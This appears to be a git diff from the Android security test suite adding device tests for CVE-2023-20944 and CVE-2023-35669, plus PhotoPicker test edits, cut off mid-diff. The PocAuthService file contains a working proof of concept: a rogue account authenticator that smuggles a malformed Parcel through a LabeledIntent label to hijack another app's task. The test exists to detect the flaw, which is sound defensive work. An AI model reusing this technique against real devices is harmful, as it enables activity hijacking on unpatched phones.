diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2023-20944/test-app/src/android/security/cts/CVE_2023_20944_test/PocAuthService.java b/hostsidetests/securitybulletin/test-apps/CVE-2023-20944/test-app/src/android/security/cts/CVE_2023_20944_test/PocAuthService.java
new file mode 100644
index 00000000000..389ede261d4
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2023-20944/test-app/src/android/security/cts/CVE_2023_20944_test/PocAuthService.java
@@ -0,0 +1,85 @@
+/*
+ * Copyright (C) 2023 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2023_20944_test;
+
+import android.accounts.AbstractAccountAuthenticator;
+import android.accounts.Account;
+import android.accounts.AccountAuthenticatorResponse;
+import android.accounts.NetworkErrorException;
+import android.app.Service;
+import android.content.Context;
+import android.content.Intent;
+import android.os.Bundle;
+import android.os.IBinder;
+
+// Authenticator returning {@link #addAccountResponse} when addAccount operation is requested
+
+public class PocAuthService extends Service {
+ static Bundle sAddAccountResponse;
+
+ @Override
+ public IBinder onBind(Intent intent) {
+ return new PocAuthenticator(this).getIBinder();
+ }
+
+ private static class PocAuthenticator extends AbstractAccountAuthenticator {
+ @Override
+ public Bundle addAccount(AccountAuthenticatorResponse response, String accountType,
+ String authTokenType, String[] requiredFeatures, Bundle options)
+ throws NetworkErrorException {
+ return sAddAccountResponse;
+ }
+
+ PocAuthenticator(Context context) {
+ super(context);
+ }
+
+ @Override
+ public Bundle editProperties(AccountAuthenticatorResponse response, String accountType) {
+ return null;
+ }
+
+ @Override
+ public Bundle confirmCredentials(AccountAuthenticatorResponse response, Account account,
+ Bundle options) throws NetworkErrorException {
+ return null;
+ }
+
+ @Override
+ public Bundle getAuthToken(AccountAuthenticatorResponse response, Account account,
+ String authTokenType, Bundle options) throws NetworkErrorException {
+ return null;
+ }
+
+ @Override
+ public String getAuthTokenLabel(String authTokenType) {
+ return null;
+ }
+
+ @Override
+ public Bundle updateCredentials(AccountAuthenticatorResponse response, Account account,
+ String authTokenType, Bundle options) throws NetworkErrorException {
+ return null;
+ }
+
+ @Override
+ public Bundle hasFeatures(AccountAuthenticatorResponse response, Account account,
+ String[] features) throws NetworkErrorException {
+ return null;
+ }
+ }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2023-35669/Android.bp b/hostsidetests/securitybulletin/test-apps/CVE-2023-35669/Android.bp
new file mode 100644
index 00000000000..ccb0a70b383
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2023-35669/Android.bp
@@ -0,0 +1,59 @@
+/*
+ * Copyright (C) 2023 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+package {
+ default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+android_test_helper_app {
+ name: "CVE-2023-35669-target",
+ defaults: [
+ "cts_support_defaults",
+ ],
+ srcs: [
+ "target-app/src/**/*.java",
+ ],
+ test_suites: [
+ "sts",
+ ],
+ manifest: "target-app/AndroidManifest.xml",
+}
+
+android_test_helper_app {
+ name: "CVE-2023-35669-test",
+ defaults: [
+ "cts_support_defaults",
+ ],
+ srcs: [
+ "test-app/src/**/*.java",
+ ],
+ test_suites: [
+ "sts",
+ ],
+ static_libs: [
+ "androidx.test.core",
+ "androidx.test.rules",
+ "androidx.test.uiautomator_uiautomator",
+ "compatibility-device-util-axt",
+ ],
+ manifest: "test-app/AndroidManifest.xml",
+ resource_dirs: [
+ "res",
+ "test-app/res",
+ ],
+ platform_apis: true,
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2023-35669/res/values/strings.xml b/hostsidetests/securitybulletin/test-apps/CVE-2023-35669/res/values/strings.xml
new file mode 100644
index 00000000000..1dd70320bf6
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2023-35669/res/values/strings.xml
@@ -0,0 +1,40 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ Copyright 2023 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+ -->
+
+<resources>
+ <string name="accountName">TestAccount</string>
+ <string name="accountType">testevilaccount</string>
+ <string name="actionTarget">actionTarget</string>
+ <string name="activityTarget">android.security.cts.CVE_2023_35669_target.TargetActivity</string>
+ <string name="app_name">CVE_2023_35669</string>
+ <string name="bcastActionTarget">CVE_2023_35669_TargetActivity</string>
+ <string name="fieldName">mNonLocalizedLabel</string>
+ <string name="isVulnerable">isVulnerable</string>
+ <string name="launchTaskId">android.activity.launchTaskId</string>
+ <string name="msgFailure">Device is vulnerable to b/265798288 !!</string>
+ <string name="noExceptionMsg">no exception</string>
+ <string name="objectNotFound">%1$s account not found</string>
+ <string name="password">password</string>
+ <string name="pkgTarget">android.security.cts.CVE_2023_35669_target</string>
+ <string name="pocActivityStatus">status</string>
+ <string name="pocCrashedMsg">PocActivity crashed with exception: %s</string>
+ <string name="pocFailedMsg">pocActivity failed</string>
+ <string name="removeAccount">REMOVE ACCOUNT</string>
+ <string name="spannableString">A</string>
+ <string name="targetFailMsg">TargetActivity did not launch successfully</string>
+ <string name="taskId">taskId</string>
+</resources>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2023-35669/target-app/AndroidManifest.xml b/hostsidetests/securitybulletin/test-apps/CVE-2023-35669/target-app/AndroidManifest.xml
new file mode 100644
index 00000000000..8188feb4bfe
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2023-35669/target-app/AndroidManifest.xml
@@ -0,0 +1,27 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ Copyright (C) 2023 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="android.security.cts.CVE_2023_35669_target">
+
+ <application>
+ <activity
+ android:name=".TargetActivity"
+ android:exported="true" />
+ </application>
+
+</manifest>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2023-35669/target-app/src/android/security/cts/CVE_2023_35669_target/TargetActivity.java b/hostsidetests/securitybulletin/test-apps/CVE-2023-35669/target-app/src/android/security/cts/CVE_2023_35669_target/TargetActivity.java
new file mode 100644
index 00000000000..d8c3536c2cb
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2023-35669/target-app/src/android/security/cts/CVE_2023_35669_target/TargetActivity.java
@@ -0,0 +1,32 @@
+/*
+ * Copyright (C) 2023 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2023_35669_target;
+
+import android.app.Activity;
+import android.content.Intent;
+
+public class TargetActivity extends Activity {
+
+ @Override
+ protected void onResume() {
+ super.onResume();
+ sendBroadcast(
+ new Intent(getString(R.string.bcastActionTarget))
+ .putExtra(getString(R.string.actionTarget), true)
+ .putExtra(getString(R.string.taskId), getTaskId()));
+ }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2023-35669/test-app/AndroidManifest.xml b/hostsidetests/securitybulletin/test-apps/CVE-2023-35669/test-app/AndroidManifest.xml
new file mode 100644
index 00000000000..ea241917035
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2023-35669/test-app/AndroidManifest.xml
@@ -0,0 +1,41 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ Copyright 2023 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="android.security.cts.CVE_2023_35669_test">
+
+ <application>
+ <activity android:name=".HijackActivity" />
+
+ <service
+ android:name=".PocAuthService"
+ android:exported="true">
+ <intent-filter>
+ <action android:name="android.accounts.AccountAuthenticator" />
+ </intent-filter>
+ <meta-data
+ android:name="android.accounts.AccountAuthenticator"
+ android:resource="@xml/authenticator" />
+ </service>
+
+ <activity android:name=".PocActivity" />
+ </application>
+
+ <instrumentation
+ android:name="androidx.test.runner.AndroidJUnitRunner"
+ android:targetPackage="android.security.cts.CVE_2023_35669_test" />
+</manifest>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2023-35669/test-app/res/xml/authenticator.xml b/hostsidetests/securitybulletin/test-apps/CVE-2023-35669/test-app/res/xml/authenticator.xml
new file mode 100644
index 00000000000..a4906cb5c68
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2023-35669/test-app/res/xml/authenticator.xml
@@ -0,0 +1,20 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ Copyright 2023 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+ -->
+
+<account-authenticator xmlns:android="http://schemas.android.com/apk/res/android"
+ android:accountType="testevilaccount"
+ android:label="@string/app_name"/>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2023-35669/test-app/src/android/security/cts/CVE_2023_35669_test/DeviceTest.java b/hostsidetests/securitybulletin/test-apps/CVE-2023-35669/test-app/src/android/security/cts/CVE_2023_35669_test/DeviceTest.java
new file mode 100644
index 00000000000..026aa574be6
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2023-35669/test-app/src/android/security/cts/CVE_2023_35669_test/DeviceTest.java
@@ -0,0 +1,158 @@
+/*
+ * Copyright (C) 2023 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2023_35669_test;
+
+import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation;
+
+import static com.android.compatibility.common.util.SystemUtil.runWithShellPermissionIdentity;
+
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assume.assumeNoException;
+import static org.junit.Assume.assumeNotNull;
+import static org.junit.Assume.assumeTrue;
+
+import android.app.Instrumentation;
+import android.content.BroadcastReceiver;
+import android.content.Context;
+import android.content.Intent;
+import android.content.IntentFilter;
+
+import androidx.test.runner.AndroidJUnit4;
+import androidx.test.uiautomator.By;
+import androidx.test.uiautomator.BySelector;
+import androidx.test.uiautomator.UiDevice;
+import androidx.test.uiautomator.UiObject2;
+import androidx.test.uiautomator.Until;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.concurrent.Semaphore;
+import java.util.concurrent.TimeUnit;
+import java.util.regex.Pattern;
+
+@RunWith(AndroidJUnit4.class)
+public class DeviceTest {
+ private String mPocActivityStatus;
+ public static int sTaskId;
+ public static final int TIMEOUT_MS = 5000;
+
+ @Test
+ public void testCVE_2023_35669() {
+ try {
+ Instrumentation instrumentation = getInstrumentation();
+ Context context = instrumentation.getContext();
+ runWithShellPermissionIdentity(
+ () -> {
+ // Registering a receiver here to wait for broadcast
+ final Semaphore targetReturn = new Semaphore(0);
+ final Semaphore hijackReturn = new Semaphore(0);
+ final Semaphore pocReturn = new Semaphore(0);
+ BroadcastReceiver broadcastReceiver =
+ new BroadcastReceiver() {
+ @Override
+ public void onReceive(Context context, Intent intent) {
+ try {
+ // Wait for TargetActivity to get launched
+ if (intent.getBooleanExtra(
+ context.getString(R.string.actionTarget),
+ false)) {
+ // Fetch taskId
+ sTaskId =
+ intent.getIntExtra(
+ context.getString(R.string.taskId),
+ -1);
+ if (sTaskId != -1) {
+ targetReturn.release();
+ }
+ }
+
+ // Wait for HijackActivity to get launched
+ if (intent.getBooleanExtra(
+ context.getString(R.string.isVulnerable),
+ false)) {
+ hijackReturn.release();
+ }
+
+ // Wait for PocActivity to get launched
+ mPocActivityStatus =
+ intent.getStringExtra(
+ context.getString(
+ R.string.pocActivityStatus));
+ if (mPocActivityStatus != null) {
+ pocReturn.release();
+ }
+ } catch (Exception ignored) {
+ // ignore any exceptions
+ }
+ }
+ };
+ IntentFilter filter =
+ new IntentFilter(context.getString(R.string.bcastActionTarget));
+ context.registerReceiver(broadcastReceiver, filter);
+
+ // Start TargetActivity
+ context.startActivity(
+ new Intent(Intent.ACTION_MAIN)
+ .setClassName(
+ context.getString(R.string.pkgTarget),
+ context.getString(R.string.activityTarget))
+ .setFlags(Intent.FLAG_ACTIVITY_NEW_TASK));
+ assumeTrue(
+ context.getString(R.string.targetFailMsg),
+ targetReturn.tryAcquire(TIMEOUT_MS, TimeUnit.MILLISECONDS));
+
+ // Start PocActivity
+ context.startActivity(
+ new Intent(context, PocActivity.class)
+ .setFlags(Intent.FLAG_ACTIVITY_NEW_TASK));
+ assumeTrue(
+ context.getString(R.string.pocFailedMsg),
+ pocReturn.tryAcquire(TIMEOUT_MS, TimeUnit.MILLISECONDS));
+ assumeTrue(
+ context.getString(R.string.pocCrashedMsg, mPocActivityStatus),
+ mPocActivityStatus.equals(
+ context.getString(R.string.noExceptionMsg)));
+
+ // Wait for account name to appear on display and then click
+ UiDevice uiDevice = UiDevice.getInstance(instrumentation);
+ clickObject(context, uiDevice, context.getString(R.string.accountName));
+
+ // Click on 'Remove Account' button
+ clickObject(context, uiDevice, context.getString(R.string.removeAccount));
+
+ // Click on 'Remove Account' popup to confirm account removal
+ clickObject(context, uiDevice, context.getString(R.string.removeAccount));
+
+ // On vulnerable device, HijackActivity will be launched and the test fails
+ assertFalse(
+ context.getString(R.string.msgFailure),
+ hijackReturn.tryAcquire(TIMEOUT_MS, TimeUnit.MILLISECONDS));
+ });
+ } catch (Exception e) {
+ assumeNoException(e);
+ }
+ }
+
+ public void clickObject(Context context, UiDevice uiDevice, String objectName) {
+ Pattern activityPattern = Pattern.compile(objectName, Pattern.CASE_INSENSITIVE);
+ BySelector removeAccountSelector = By.text(activityPattern);
+ UiObject2 uiObject = uiDevice.wait(Until.findObject(removeAccountSelector), TIMEOUT_MS);
+ assumeNotNull(context.getString(R.string.objectNotFound, objectName), uiObject);
+ uiObject.click();
+ }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2023-35669/test-app/src/android/security/cts/CVE_2023_35669_test/HijackActivity.java b/hostsidetests/securitybulletin/test-apps/CVE-2023-35669/test-app/src/android/security/cts/CVE_2023_35669_test/HijackActivity.java
new file mode 100644
index 00000000000..cbc869fa35a
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2023-35669/test-app/src/android/security/cts/CVE_2023_35669_test/HijackActivity.java
@@ -0,0 +1,35 @@
+/*
+ * Copyright (C) 2023 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2023_35669_test;
+
+import android.app.Activity;
+import android.content.Intent;
+
+public class HijackActivity extends Activity {
+
+ @Override
+ public void onResume() {
+ try {
+ super.onResume();
+ sendBroadcast(
+ new Intent(getString(R.string.bcastActionTarget))
+ .putExtra(getString(R.string.isVulnerable), true));
+ } catch (Exception ignored) {
+ // Ignoring exceptions here
+ }
+ }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2023-35669/test-app/src/android/security/cts/CVE_2023_35669_test/PocActivity.java b/hostsidetests/securitybulletin/test-apps/CVE-2023-35669/test-app/src/android/security/cts/CVE_2023_35669_test/PocActivity.java
new file mode 100644
index 00000000000..48cec739a9e
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2023-35669/test-app/src/android/security/cts/CVE_2023_35669_test/PocActivity.java
@@ -0,0 +1,59 @@
+/*
+ * Copyright (C) 2023 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2023_35669_test;
+
+import android.accounts.Account;
+import android.accounts.AccountManager;
+import android.app.Activity;
+import android.content.Intent;
+import android.os.Bundle;
+import android.provider.Settings;
+
+public class PocActivity extends Activity {
+
+ @Override
+ public void onResume() {
+ try {
+ super.onResume();
+
+ // Adding account
+ getSystemService(AccountManager.class)
+ .addAccountExplicitly(
+ new Account(
+ getString(R.string.accountName),
+ getString(R.string.accountType)),
+ getString(R.string.password),
+ new Bundle());
+
+ // Show settings to allow configuration of sync settings
+ startActivity(new Intent(Settings.ACTION_SYNC_SETTINGS));
+ sendBroadcast(
+ new Intent(getString(R.string.bcastActionTarget))
+ .putExtra(
+ getString(R.string.pocActivityStatus),
+ getString(R.string.noExceptionMsg)));
+ } catch (Exception e) {
+ try {
+ sendBroadcast(
+ new Intent(getString(R.string.bcastActionTarget))
+ .putExtra(getString(R.string.pocActivityStatus), e.getMessage()));
+ } catch (Exception ignored) {
+ // Ignore any exceptions
+ }
+ }
+ }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2023-35669/test-app/src/android/security/cts/CVE_2023_35669_test/PocAuthService.java b/hostsidetests/securitybulletin/test-apps/CVE-2023-35669/test-app/src/android/security/cts/CVE_2023_35669_test/PocAuthService.java
new file mode 100644
index 00000000000..4cdf4e5579a
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2023-35669/test-app/src/android/security/cts/CVE_2023_35669_test/PocAuthService.java
@@ -0,0 +1,177 @@
+/*
+ * Copyright (C) 2023 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2023_35669_test;
+
+import android.accounts.AbstractAccountAuthenticator;
+import android.accounts.Account;
+import android.accounts.AccountAuthenticatorResponse;
+import android.accounts.AccountManager;
+import android.accounts.NetworkErrorException;
+import android.app.Service;
+import android.content.Context;
+import android.content.Intent;
+import android.content.pm.LabeledIntent;
+import android.os.Bundle;
+import android.os.IBinder;
+import android.os.Parcel;
+import android.text.SpannableString;
+import android.text.style.URLSpan;
+
+import java.lang.reflect.Field;
+import java.nio.charset.StandardCharsets;
+
+public class PocAuthService extends Service {
+
+ private Bundle createResultBundle() {
+ try {
+ Bundle result = new Bundle();
+ result.putString(AccountManager.KEY_ACCOUNT_NAME, "testevilaccountname");
+ result.putString(AccountManager.KEY_ACCOUNT_TYPE, "testevilaccount");
+ result.putString(AccountManager.KEY_AUTHTOKEN, "mockAuthToken");
+ return result;
+ } catch (Exception ignored) {
+ // Ignore any exceptions
+ }
+ return null;
+ }
+
+ public PocAuthService() {}
+
+ @Override
+ public IBinder onBind(Intent intent) {
+ return new TestAccountAuthenticator(this).getIBinder();
+ }
+
+ class TestAccountAuthenticator extends AbstractAccountAuthenticator {
+
+ public TestAccountAuthenticator(Context context) {
+ super(context);
+ }
+
+ @Override
+ public Bundle getAccountRemovalAllowed(
+ AccountAuthenticatorResponse response, Account account)
+ throws NetworkErrorException {
+
+ try {
+ LabeledIntent labeledIntent =
+ new LabeledIntent(
+ new Intent(PocAuthService.this, HijackActivity.class),
+ null /* sourcePackage */,
+ 1 /* labelRes */,
+ 0 /* icon */);
+
+ // Creating parcel to setDataPosition
+ Parcel optionPayload = Parcel.obtain();
+ Bundle evilOptions = new Bundle();
+ evilOptions.putInt(getString(R.string.launchTaskId), DeviceTest.sTaskId);
+ evilOptions.writeToParcel(optionPayload, 0 /* flags */);
+ optionPayload.setDataPosition(0 /* position */);
+ int originLen = optionPayload.readInt();
+ optionPayload.setDataPosition(0 /* position */);
+
+ // Parcel data not fully consumed, unread size : 76
+ optionPayload.writeInt(originLen + 76);
+
+ // Creating parcel to create URLSpan
+ Parcel payload = Parcel.obtain();
+ payload.writeString(null /* resultWho */);
+ payload.writeInt(-1 /* requestCode */);
+ payload.writeInt(0 /* flags */);
+ payload.writeTypedObject(null, 0 /* profilerInfo */);
+ payload.writeInt(1 /* value */);
+ payload.appendFrom(optionPayload, 0 /* offset */, optionPayload.dataSize());
+
+ SpannableString spannableString =
+ new SpannableString(getString(R.string.spannableString));
+ spannableString.setSpan(
+ new URLSpan(new String(payload.marshall(), StandardCharsets.UTF_16LE)),
+ 0 /* start */,
+ 0 /* end */,
+ 0 /* flags */);
+
+ // Setting labeledIntent using refelection
+ Field nonLocalizedLabelField =
+ LabeledIntent.class.getDeclaredField(getString(R.string.fieldName));
+ nonLocalizedLabelField.setAccessible(true);
+ nonLocalizedLabelField.set(labeledIntent, spannableString);
+
+ Bundle result = new Bundle();
+ result.putParcelable(AccountManager.KEY_INTENT, labeledIntent);
+ return result;
+ } catch (Exception ignored) {
+ // Ignore any exceptions
+ }
+ return null;
+ }
+
+ @Override
+ public Bundle editProperties(AccountAuthenticatorResponse response, String accountType) {
+ return createResultBundle();
+ }
+
+ @Override
+ public Bundle addAccount(
+ AccountAuthenticatorResponse response,
+ String accountType,
+ String authTokenType,
+ String[] requiredFeatures,
+ Bundle options)
+ throws NetworkErrorException {
+ return createResultBundle();
+ }
+
+ @Override
+ public Bundle confirmCredentials(
+ AccountAuthenticatorResponse response, Account account, Bundle options)
+ throws NetworkErrorException {
+ return createResultBundle();
+ }
+
+ @Override
+ public Bundle getAuthToken(
+ AccountAuthenticatorResponse response,
+ Account account,
+ String authTokenType,
+ Bundle options)
+ throws NetworkErrorException {
+ return createResultBundle();
+ }
+
+ @Override
+ public String getAuthTokenLabel(String authTokenType) {
+ return "mockAuthTokenLabel";
+ }
+
+ @Override
+ public Bundle updateCredentials(
+ AccountAuthenticatorResponse response,
+ Account account,
+ String authTokenType,
+ Bundle options)
+ throws NetworkErrorException {
+ return createResultBundle();
+ }
+
+ @Override
+ public Bundle hasFeatures(
+ AccountAuthenticatorResponse response, Account account, String[] features)
+ throws NetworkErrorException {
+ return createResultBundle();
+ }
+ }
+}
diff --git a/tests/PhotoPicker/src/android/photopicker/cts/ActionGetContentOnlyTest.java b/tests/PhotoPicker/src/android/photopicker/cts/ActionGetContentOnlyTest.java
index 227b4c6fa16..25e8ebdfb40 100644
--- a/tests/PhotoPicker/src/android/photopicker/cts/ActionGetContentOnlyTest.java
+++ b/tests/PhotoPicker/src/android/photopicker/cts/ActionGetContentOnlyTest.java
@@ -16,10 +16,11 @@
package android.photopicker.cts;
-import static android.photopicker.cts.util.GetContentActivityAliasUtils.clearPackageData;
-import static android.photopicker.cts.util.GetContentActivityAliasUtils.getDocumentsUiPackageName;
+import static android.photopicker.cts.util.PhotoPickerComponentUtils.GET_CONTENT_ACTIVITY_COMPONENT;
import static android.photopicker.cts.util.PhotoPickerFilesUtils.createImagesAndGetUriAndPath;
import static android.photopicker.cts.util.PhotoPickerFilesUtils.deleteMedia;
+import static android.photopicker.cts.util.PhotoPickerPackageUtils.clearPackageData;
+import static android.photopicker.cts.util.PhotoPickerPackageUtils.getDocumentsUiPackageName;
import static android.photopicker.cts.util.PhotoPickerUiUtils.SHORT_TIMEOUT;
import static android.photopicker.cts.util.PhotoPickerUiUtils.clickAndWait;
import static android.photopicker.cts.util.PhotoPickerUiUtils.findAndClickBrowse;
@@ -31,7 +32,7 @@ import static com.google.common.truth.Truth.assertWithMessage;
import android.content.ClipData;
import android.content.Intent;
import android.net.Uri;
-import android.photopicker.cts.util.GetContentActivityAliasUtils;
+import android.photopicker.cts.util.PhotoPickerComponentUtils;
import android.photopicker.cts.util.UiAssertionUtils;
import android.util.Pair;
@@ -71,7 +72,8 @@ public class ActionGetContentOnlyTest extends PhotoPickerBaseTest {
mActivity.finish();
}
- GetContentActivityAliasUtils.restoreState(sGetContentTakeOverActivityAliasState);
+ PhotoPickerComponentUtils.setState(GET_CONTENT_ACTIVITY_COMPONENT,
+ sGetContentTakeOverActivityAliasState);
}
@Before
@@ -79,7 +81,8 @@ public class ActionGetContentOnlyTest extends PhotoPickerBaseTest {
super.setUp();
sDocumentsUiPackageName = getDocumentsUiPackageName();
- sGetContentTakeOverActivityAliasState = GetContentActivityAliasUtils.enableAndGetOldState();
+ sGetContentTakeOverActivityAliasState = PhotoPickerComponentUtils
+ .enableAndGetOldState(GET_CONTENT_ACTIVITY_COMPONENT);
clearPackageData(sDocumentsUiPackageName);
}
@@ -175,7 +178,7 @@ public class ActionGetContentOnlyTest extends PhotoPickerBaseTest {
mActivity.startActivityForResult(Intent.createChooser(intent, TAG), REQUEST_CODE);
// Should open Picker
- UiAssertionUtils.assertThatShowsPickerUi();
+ UiAssertionUtils.assertThatShowsPickerUi(intent.getType());
}
@Test
@@ -197,7 +200,7 @@ public class ActionGetContentOnlyTest extends PhotoPickerBaseTest {
findAndClickMediaIcon();
// Should open Picker
- UiAssertionUtils.assertThatShowsPickerUi();
+ UiAssertionUtils.assertThatShowsPickerUi(intent.getType());
}
private void findAndClickMediaIcon() throws Exception {
@@ -208,10 +211,19 @@ public class ActionGetContentOnlyTest extends PhotoPickerBaseTest {
assertWithMessage("Waiting for app list to appear in DocumentsUi").that(
new UiObject(appList).waitForExists(SHORT_TIMEOUT)).isTrue();
- String photoPickerAppName = "Media picker";
+ String photoPickerAppName = "Media";
UiObject mediaButton = sDevice.findObject(new UiSelector().text(photoPickerAppName));
-
- assertWithMessage("Timed out waiting for " + photoPickerAppName + " app icon to appear")
+ if (!new UiScrollable(appList).setAsHorizontalList().scrollIntoView(mediaButton)) {
+ // While solving an accessibility bug the app_label was modified from 'Media' to
+ // 'Media picker' and after making the modification, since this test had the
+ // hardcoded value for the name as 'Media' it started failing. After fixing this some
+ // versions of the code became incompatible with this test and hence have modified
+ // the code to work with both names.
+ photoPickerAppName = "Media picker";
+ mediaButton = sDevice.findObject(new UiSelector().text(photoPickerAppName));
+ }
+ assertWithMessage("Timed out waiting for " + photoPickerAppName
+ + " app icon to appear")
.that(new UiScrollable(appList).setAsHorizontalList().scrollIntoView(mediaButton))
.isTrue();
sDevice.waitForIdle();
diff --git a/tests/PhotoPicker/src/android/photopicker/cts/ActionPickImagesOnlyTest.java b/tests/PhotoPicker/src/android/photopicker/cts/ActionPickImagesOnlyTest.java
index 76ff2175e9f..b6180df5968 100644
--- a/tests/PhotoPicker/src/android/photopicker/cts/ActionPickImagesOnlyTest.java
+++ b/tests/PhotoPicker/src/android/photopicker/cts/ActionPickImagesOnlyTest.java
@@ -18,6 +18,7 @@ package android.photopicker.cts;
